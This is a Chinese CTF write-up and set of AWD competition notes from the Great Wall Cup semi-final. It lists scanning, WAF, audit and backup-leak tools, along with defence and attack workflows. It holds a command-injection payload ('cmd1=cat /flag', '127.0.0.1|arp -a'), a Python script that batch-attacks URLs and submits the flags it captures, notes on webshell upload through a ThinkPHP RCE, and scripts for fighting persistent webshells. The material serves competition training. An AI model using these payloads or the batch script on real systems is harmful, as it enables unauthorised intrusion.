第一届长城杯半决赛wp和AWD笔记

server/2024/12/22 20:42:38/

目录

AWD

渗透

cfs

单节点1

AWD笔记

AWD工具

文件比较工具

Web漏洞扫描工具

waf工具

代码审计工具

批量网站备份文件泄露扫描工具

cms通杀漏洞的利用

通杀脚本和批量提交flag脚本

防御流程

攻击流程

注意


AWD

解题思路]

img

首先就是fscan快速扫描对应C段, 发现对应103的C段存活85个主机。

继续扫描

img

(icmp) Target192.168.103.3isalive
(icmp) Target192.168.103.2isalive
(icmp) Target192.168.103.5isalive
(icmp) Target192.168.103.6isalive
(icmp) Target192.168.103.4isalive
(icmp) Target192.168.103.9isalive
(icmp) Target192.168.103.12isalive
(icmp) Target192.168.103.10isalive
(icmp) Target192.168.103.15isalive
(icmp) Target192.168.103.16isalive
(icmp) Target192.168.103.14isalive
(icmp) Target192.168.103.19isalive
(icmp) Target192.168.103.20isalive
(icmp) Target192.168.103.23isalive
(icmp) Target192.168.103.22isalive

(icmp) Target192.168.103.25isalive
(icmp) Target192.168.103.28isalive
(icmp) Target192.168.103.27isalive
(icmp) Target192.168.103.24isalive
(icmp) Target192.168.103.26isalive
(icmp) Target192.168.103.30isalive
(icmp) Target192.168.103.31isalive
(icmp) Target192.168.103.32isalive
(icmp) Target192.168.103.36isalive
(icmp) Target192.168.103.37isalive
(icmp) Target192.168.103.35isalive
(icmp) Target192.168.103.39isalive
(icmp) Target192.168.103.38isalive
(icmp) Target192.168.103.43isalive
(icmp) Target192.168.103.44isalive
(icmp) Target192.168.103.45isalive
(icmp) Target192.168.103.47isalive
(icmp) Target192.168.103.49isalive
(icmp) Target192.168.103.52isalive
(icmp) Target192.168.103.50isalive
(icmp) Target192.168.103.55isalive
(icmp) Target192.168.103.56isalive
(icmp) Target192.168.103.59isalive
(icmp) Target192.168.103.60isalive
(icmp) Target192.168.103.58isalive
(icmp) Target192.168.103.57isalive
(icmp) Target192.168.103.61isalive
(icmp) Target192.168.103.63isalive
(icmp) Target192.168.103.62isalive
(icmp) Target192.168.103.65isalive
(icmp) Target192.168.103.67isalive
(icmp) Target192.168.103.71isalive
(icmp) Target192.168.103.68isalive
(icmp) Target192.168.103.69isalive
(icmp) Target192.168.103.73isalive
(icmp) Target192.168.103.74isalive
(icmp) Target192.168.103.70isalive
(icmp) Target192.168.103.72isalive

(icmp) Target192.168.103.80isalive
(icmp) Target192.168.103.76isalive
(icmp) Target192.168.103.75isalive
(icmp) Target192.168.103.79isalive
(icmp) Target192.168.103.77isalive
(icmp) Target192.168.103.78isalive
(icmp) Target192.168.103.81isalive
(icmp) Target192.168.103.82isalive
(icmp) Target192.168.103.84isalive
(icmp) Target192.168.103.88isalive
(icmp) Target192.168.103.89isalive
(icmp) Target 等等等等192.168.103.91isalive

好笑的是我们比赛之前先上了其他队的kali,哈哈弱口令1

之后。发现都开启了对应的端口,尤其是ssh 22端口开放,根据裁判声明,直接尝试登录 其他主队主机。

因为有三个题,在当时做的时候,刚开始登陆过题目一所在主机,但只获取的对应 flag,忘记进行审计代码,忽略掉

第二道题为PHP类型的,这里忘记截图了,审计代码发现存在一个php文件, 里面 含有命令执行功能。

这是一道通杀:访问 http:ơurl/demo.php?cmd1=cat /flag 即可拿到 flag,于是凭借这个思路,拿下全部存活主机flag (部分做出防护的,未拿下)

第三道题为java,这道题是最后才找到代码开始审计,也是发现相关执行系统命令 的功能,但是时间不够,没有做出来

呼叫队友对存活主机继续尝试ssh连接拿flag。

下面附上部分截图

img

img

img

img

攻击成果

微信图片_20240425214950

渗透

cfs

image-20240425215154896

直接漏洞,发现开启了80、22、8080端口,并且在8080发现poc,看上面写

的是tp5.0.23版本的RCE,拿工具直接打

image-20240425215205254

如上图,可以看到存在两个漏洞,但不能直接命令执行,尝试上传webshell

image-20240425215227797

看到上传成功,之后蚁剑连接,根目录拿到第一个flag

image-20240425215249495

单节点1

image-20240425215309971

依旧fscan漏扫,发现存在敏感文件泄露,访问之后得到zip,尝试压缩发现需要密

这里尝试了弱口令,拿到flag

image-20240425215337242

还有后面在那个里面还有流量分析,可以获得flag

AWD笔记

AWD工具

文件比较工具

DiffMerge 是一个强大的文件比较工具

打开俩个文件夹,可以进行比较

image-20240418193747323

如果不同会标记

然后双击打开,查看不同

image-20240418193910797

免费好用的Diff和Merge工具大总结 - hfyfpga - 博客园 (cnblogs.com)

Web漏洞扫描工具

D盾导入文件就可以扫描文件中漏洞,将网站的文件下载下来

自定义扫描,放进D盾扫描,会爆后面,5基本上是后门了

image-20240418215227773

还有iis防火墙防御,还没用不知道什么样子的

waf工具

watchbird Releases · leohearts/awd-watchbird · GitHub

  • 易于配置(单文件, 无需加载外部js/css)

  • 可以随时开启/关闭某项防御

  • 基本防御:

    • 数据库注入(sql injection)

    • 文件上传(upload)

    • 文件包含(lfi)

    • flag关键字

    • PHP反序列化(unserialize)

    • 命令执行(rce)

    • 分布式拒绝服务攻击(ddos)

    • 请求头,请求参数(GET/POST)关键字

    • 特殊字符

  • 深度防御:

    • 响应检测/反向代理(默认将流量发送至本地服务器自检,可配置代理服务器IP及端口实现反代功能)

    • 响应flag检测并返回虚假flag

    • 基于LD_PRELOAD的指令执行保护

    • 基于open_basedir的PHP文件操作保护

  • 网页控制台:

    • 功能开关及配置

    • 实时日志查看

    • 日志流量重放, 可广播流量至指定网段, 支持提取flag自动提交

    • RCE/文件上传/深度检测 防御通知(由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)

    工具部署

    1.下载最新 release
    ​
    2.将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
    ​
    3.将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
    ​
    4.访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
    ​
    5.如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
    ​
    6.将以下代码放入需要启用waf的php脚本的第一行 <?php include_once "/var/www/html/watchbird.php" ?>6.enjoy it!

    多准备点其他的比如数Tomcat就要用java的waf

代码审计工具

Seay源码审计系统

可以自动审计,也可手动审计

image-20240419005517156

批量网站备份文件泄露扫描工具

ihoneyBakFileScan

简介

网站备份文件泄露可能造成的危害:

1. 网站存在备份文件:网站存在备份文件,例如数据库备份文件、网站源码备份文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。
2. 敏感文件泄露是高危漏洞之一,敏感文件包括数据库配置信息,网站后台路径,物理路径泄露等,此漏洞可以帮助攻击者进一步攻击,敞开系统的大门。
3. 由于目标备份文件较大(xxx.G),可能存在更多敏感数据泄露
4. 该备份文件被下载后,可以被用来做代码审计,进而造成更大的危害
5. 该信息泄露会暴露服务器的敏感信息,使攻击者能够通过泄露的信息进行进一步入侵。

下安裝后的操作

    批量url扫描    python3.5 ihoneyBakFileScan.py -t 100 -f url.txt单个url扫描    python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cnpython3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt

cms通杀漏洞的利用

首先下载所有漏洞的库和poc

image-20240420225356766

然后用ehole扫描指纹

image-20240420231753858

然后安装Listary

双击ctrl,弹出输入扫出的cms,对应的漏洞库漏洞,然后复现

image-20240420231905823

通杀脚本和批量提交flag脚本

这个很重要一定要提前写好,比如到时候很浪费时间,我第一次打AWD的时候就脚本问题,好浪费时间 下面是一个工具和提交写在一起脚本

import requests
import re
​
path = '/WebApi/competitionCyberRange/static/base/#/competition/route/competiManage/competiAnswer'   # 攻击路径
​
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0',
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Accept-Language": 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': 'JSESSIONID=823B9BC42B2A423CD515CEAEC3ECCDAA'
}
​
data = {'ip': '127.0.0.1|arp -a','Submit': 'Submit'
}
​
#flag提交地址
url_flag = 'http://10.0.0.1/submit.php?token=123456&flag='
​
#批量攻击和提交
def attack():with open('urls.txt', 'r') as file:for line in file:url = line.strip()  + path      # 攻击urlret = requests.post(url=url, headers=headers, data=data, timeout=10)#print("Response:", ret.text)  # 调试输出flag_match = re.search(r'flag\{.+\}', ret.text)if flag_match:flag = flag_match.group()print("Flag:", flag)flag_url = url_flag + flag#res = requests.post(url=flag_url,headers=headers,timeout=2)   #注意这里的headers可能有问题,需要根据实际情况修改print(res.text)else:print(line.strip() +  " Flag not found")
attack()

防御流程

  1. 改密码 (如果每个队服务器密码一样的话,很容易被人给脚本改密码)

  2. 备份(最少三份)

  3. D盾扫后门,删除后门

  4. 漏洞修复

  5. 上waf

  6. 关进程

  7. 22,445,139端口,80-89web服务不用关闭等等

攻击流程

1.先扫描自己端口信息 一般先搜集自己的主机端口信息,比赛主机开放端口情况大多情况一致,然后类比指定扫描其他主机端口信息,最后挂后台全端口扫描防止端口遗漏

2.一般工具扫描

3.通过自己的弱点去攻击其他人的服务器

注意

1.Token是用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址可能就为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。

主机探测一般使用nmap或者是httpscan

nmap -sn 192.168.0.0/24 #扫描c段主机存活
nmap -sV 192.168.0.2      #扫描主机系统版本
nmap -sS 192.168.0.2      #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2    #扫描主机全部端口
​
hhtpscan.py 192.168.0.0/24 -t 10 #同上

2.输入赛方提供的用户名和密码进行登录,用户权限一般较低。有时候会用RSA公钥登录的方式进行登录。或者是其他加密方式

3.端口利用方式未授权访问和弱口令漏洞

4.找到主配置文件

find / -name "nginx.conf"         #定位nginx目录
find / -path "*nginx*" -name nginx*conf  #定位nginx配置目录
find / -name "httpd.conf"         #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录
find / -name "index.php"

5.这个是参考,自动化利用工具扫描https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

批量url扫描    
python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
单个url扫描    
python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt

6.杀死不死马

ps auxww|grep shell.php 找到pid后杀掉进程

循环杀进程

ps aux|grep www-data|awk '{print $2}'|xargs kill 

重启php等web服务

service php-fpm restart

用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)

<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.3.php';$code = 'hi springbird !';//pass=passwhile (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .3.php');//    usleep(5000);usleep(1000);}
?>

创建一个和不死马生成的马一样名字的文件夹 mkdir 1.php

循环创建

#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh

7.在攻击web服务的时候说下两种情况 一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。

另一种情况就是分析WEB日志,学习其他选手攻击思路和漏洞利用过程,也是一个不错的得分途径。

8.网站备份目的是防止源码出错,或者是被对手恶意删除代码,或快速回复网站防止被裁判组check探测服务存活失败丢分

9.数据备份,数据库配置信息一般可以通过他的config.php/web.con等文件获取 10.注意内存马上了,会让服务器宕机,没法重启


http://www.ppmy.cn/server/23954.html

相关文章

解决jupyter中使用keplergl的visualization_data函数不显示图片的问题

解决jupyter中使用keplergl的visualization_data函数不显示图片的问题 运行下面的命令&#xff1a;. 首先确认已经安装keplergl pip install keplergl然后运行下面两条命令&#xff1a; jupyter nbextension install --py --sys-prefix keplergl jupyter nbextension enabl…

用docker方式安装openGauss数据库的事项记录

文章目录 &#xff08;一&#xff09;背景&#xff08;二&#xff09;安装&#xff08;2.1&#xff09;安装docker&#xff08;2.2&#xff09;安装openGauss &#xff08;三&#xff09;运行&#xff08;3.1&#xff09;运行openGauss镜像&#xff08;3.2&#xff09;连接open…

爱国者随身wifi VS格行随身wifi对比测评!随身wiif哪个品牌好用?排名第一名随身WiFi格行随身WiFi真的靠谱吗?随身WiFi热销榜第一名!

出门手机信号不好网络卡顿&#xff0c;手机流量不够用&#xff0c;相信这是很多朋友都会遇到的问题。为了解决这个问题更多的会选择随身wifi&#xff0c;但是市面上随身wifi品牌众多&#xff0c;有不知道该选择哪一款。今天就来看看爱国者随身wifi和格行随身wifi哪款更好用&…

SCSS的基本使用(一)

目录 一、使用&符号来引用父选择器 二、scss的语法 三、变量&#xff08;Variables&#xff09; 四、嵌套&#xff08;Nesting&#xff09; 五、mixin 和 include 六、extend 继承 七、import 与 Partials 八、if简单判断 九、if复杂判断 一、使用&符号来引用父…

智慧校园建设有哪些新策略?

在现有智慧校园建设方案中&#xff0c;智慧校园主要是用于解决学校日常事务&#xff0c;如学工管理&#xff0c;教工管理等&#xff0c;并利用数据分析&#xff0c;指导学校的一些决策行为。但随着新技术的不断发展&#xff0c;尤其是云计算、大数据、物联网、移动互联网、人工…

Kotlin作用域函数引发的遮蔽问题

前面讲了kotlin的it变量引起的遮蔽问题&#xff0c;见Kotlin it隐式变量的遮蔽问题&#xff0c;本篇聊聊作用域函数&#xff08;scoped function&#xff09;可能引起的遮蔽问题。 先来看一个简单的示例&#xff1a; fun test(): String {val s: String "asdf".al…

算法人生(12):从“优先级队列算法”到“”六点优先工作法”

算法思想和生活中很多解决问题的思想有着异曲同工之妙&#xff0c;让我们来看下今天的“优先级队列算法”可以怎么应用到我们的生活中吧&#xff01; 优先级队列算法&#xff08;Priority Queue Algorithm&#xff09; 是一种特殊的数据结构&#xff0c;它在常规队列秉持着“先…

Linux的DNS域名解析服务

目录 1.DNS 1.1定义 1.2作用/功能 1.3域名结构 1.4两种查询方式 1.5DNS域名解析工作原理 1.6DNS系统类型 2.正向解析实验​ 2.1安装bind服务&#xff0c;查看配置文件 2.2配置文件配置及文件内容说明 3.反向解析实验 4.配置主从DNS服务器 1.DNS 1.1定义 DNS域名系…